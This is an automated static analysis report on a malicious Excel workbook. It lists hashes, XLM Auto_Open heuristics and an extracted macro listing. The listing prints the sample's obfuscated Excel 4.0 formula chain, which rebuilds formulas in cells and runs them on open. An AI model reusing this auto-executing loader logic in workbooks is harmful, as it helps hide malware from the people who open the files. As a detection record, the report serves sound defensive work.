Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6d564f9bca18087f…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:46:14 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 30b400edca807017c8bf22928765661b SHA-1: eb6ea12d46bcfe34c9f35049e8496549eef9b013 SHA-256: 6d564f9bca18087f23763ae14a9d4a371fa5cb2a8da4372d62c99d9b2acb0e8b
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6387 bytes
SHA-256: fd1513067ddac94f3122a86bac68a3dd19830d33525a2517e52f5a4b296bbe1d
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  GOz
' 0018     27 LABEL : Cell Value, String Constant - AKLeCccmXFfz len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C179 
' 0018     27 LABEL : Cell Value, String Constant - ceugTweddrpY len=0 
' 0018     25 LABEL : Cell Value, String Constant - dXvgzunEAL len=0 
' 0018     23 LABEL : Cell Value, String Constant - HIktjlyJ len=0 
' 0018     21 LABEL : Cell Value, String Constant - iMKcWC len=0 
' 0018     21 LABEL : Cell Value, String Constant - JtOJrp len=0 
' 0018     27 LABEL : Cell Value, String Constant - karmRZZZdBEa len=0 
' 0018     27 LABEL : Cell Value, String Constant - kLypiyxkJZqW len=0 
' 0018     21 LABEL : Cell Value, String Constant - KxBQAu len=0 
' 0018     20 LABEL : Cell Value, String Constant - kygzS len=0 
' 0018     23 LABEL : Cell Value, String Constant - MEmqZQzW len=0 
' 0018     24 LABEL : Cell Value, String Constant - mMNUjsLcY len=0 
' 0018     24 LABEL : Cell Value, String Constant - NaUGpIfTS len=0 
' 0018     24 LABEL : Cell Value, String Constant - nPPNhjUOJ len=0 
' 0018     27 LABEL : Cell Value, String Constant - PqFXmuADLoVL len=0 
' 0018     21 LABEL : Cell Value, String Constant - rDnOWa len=0 
' 0018     27 LABEL : Cell Value, String Constant - tiYPclMkFwwJ len=0 
' 0018     21 LABEL : Cell Value, String Constant - TqrywZ len=0 
' 0018     24 LABEL : Cell Value, String Constant - XEZknQKCM len=0 
' 0018     26 LABEL : Cell Value, String Constant - ZobcDOOTEDK len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  GOz,C90,"SET.NAME("KxBQAu",VALUE("0"))",""
'  GOz,C93,"SET.NAME("dXvgzunEAL",KxBQAu)",""
'  GOz,C95,"SET.NAME("mMNUjsLcY",KxBQAu)",""
'  GOz,C98,"SET.NAME("ceugTweddrpY",COUNTA(nPPNhjUOJ))",""
'  GOz,C103,"SET.NAME("kLypiyxkJZqW",COUNTA(kygzS))",""
'  GOz,C105,[],""
'  GOz,C108,"SET.NAME("iMKcWC","")",""
'  GOz,C113,"dXvgzunEAL",""
'  GOz,C117,"SET.NAME("NaUGpIfTS",HLOOKUP("*",nPPNhjUOJ,dXvgzunEAL,FALSE))",""
'  GOz,C121,"tiYPclMkFwwJ",""
'  GOz,C124,"SET.NAME("TqrywZ",KxBQAu)",""
'  GOz,C127,[],""
'  GOz,C131,"TqrywZ",""
'  GOz,C135,"karmRZZZdBEa",""
'  GOz,C137,"HIktjlyJ",""
'  GOz,C139,"ZobcDOOTEDK",""
'  GOz,C143,"SET.NAME("MEmqZQzW",VALUE(HLOOKUP("*",kygzS,ZobcDOOTEDK,FALSE)))",""
'  GOz,C148,"JtOJrp",""
'  GOz,C152,"iMKcWC",""
'  GOz,C154,"mMNUjsLcY",""
'  GOz,C159,NEXT(),""
'  GOz,C161,"PqFXmuADLoVL",""
'  GOz,C164,"SET.NAME("f",INT(T(FORMULA(T(iMKcWC)&"",""&T(PqFXmuADLoVL)))))",""
'  GOz,C167,"rDnOWa",""
'  GOz,C170,NEXT(),""
'  GOz,C174,RETURN(),""
'  GOz,C204,"SET.NAME("AKLeCccmXFfz",C90)",""
'  GOz,C209,"nPPNhjUOJ",""
'  GOz,C212,"SET.NAME("kygzS",R50C14)",""
'  GOz,C217,"SET.NAME("rDnOWa",223)",""
'  GOz,C219,"SET.NAME("XEZknQKCM",3)",""
'  GOz,C222,AKLeCccmXFfz(),""
'  GOz,C223,HALT(),""

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